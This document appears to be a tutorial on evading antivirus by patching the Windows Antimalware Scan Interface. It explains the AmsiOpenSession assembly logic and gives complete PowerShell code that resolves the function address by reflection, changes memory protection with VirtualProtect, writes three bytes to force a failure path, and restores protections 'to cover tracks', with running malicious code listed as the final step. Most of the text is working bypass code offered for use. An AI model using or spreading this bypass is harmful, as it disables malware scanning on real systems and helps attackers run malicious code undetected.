Antivirus Evasion: Tearing AMSI Down With 3 Bytes Only

If this function succeeds, it returns S_OK. Otherwise, it returns an HRESULT error code.

The bypass will consist of forcing this error code to happen by patching a couple of assembly instructions, breaking the mechanism’s execution flow.

Dissecting Antimalware Scan Interface

By unassembling the loop instructions that compose AmsiOpenSession, a condition can be observed:

The first two instructions can be observed to be a comparison and conditional jump, jump if equal, which leads to the “invalid argument” return value.

A TEST instruction will set the zero flag (ZF) when the result of the operation is zero. The conditional jump, in turn, will be taken in case the zero flags is set.

TEST RDX, RDX ; set zero flag if RDX == 0
JE amsi!AmsiOpenSession+0x4c ; jump if ZF == 1

Therefore, by forcing the zero flag to be set, the CPU will consequently be tricked into taking the jump, resulting in the mechanism’s failure due to the invalid argument return result.

The bypass will then consist of the following steps:

1. Fetch AmsiOpenSession’s memory address

2. Modify memory protections

3. Overwrite TEST RDX, RDX with XOR RAX, RAX

4. Re-enable memory protections to cover tracks

5. Run malicious code

Building the bypass

Retrieving memory addresses

Knowing that all Antimalware Scan Interface-related functions are imported from the amsi.dll library, it’s only necessary to grab the memory address from where the desired function was loaded. That can be reached through the use of reflection as follows:

function lookFuncAddr{
Param($moduleName, $functionName)

$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object {$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object{If($_.Name -eq 'GetProcAddress') {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

The lookFuncAddr function does basically the following:

1. List all assemblies through GetAssemblies

2. Filter the ones from the system.dll library that matches the UnsafeNativeMethods namespace

3. Locate GetProcAddress through GetMethods

4. Grab the desired function’s address through GetModuleHandle

This will return the function’s address in hexadecimal to be used later.

Memory Protections

As per default, only read and execute privileges will be available. This can be visualized again through WinDbg using the following command:

!vprot 7ff9dd8e37e0

PAGE_EXECUTE_READ (0x20)

Enables execute or read-only access to the committed region of pages.

In order to modify such protections, the VirtualProtect function will be used:

BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

function getDelegateType{
Param(
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)

$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType',
'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

$type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')

return $type.CreateType()
}

[IntPtr]$amsiAddr = lookFuncAddr amsi.dll AmsiOpenSession
$oldProtect = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookFuncAddr kernel32.dll VirtualProtect),
(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))

$vp.Invoke($amsiAddr, 3, 0x40, [ref]$oldProtect)

$3b = [Byte[]] (0x48, 0x31, 0xC0)
[System.Runtime.InteropServices.Marshal]::Copy($3b, 0, $amsiAddr, 3)

$vp.Invoke($amsiAddr, 3, 0x20, [ref]$oldProtect)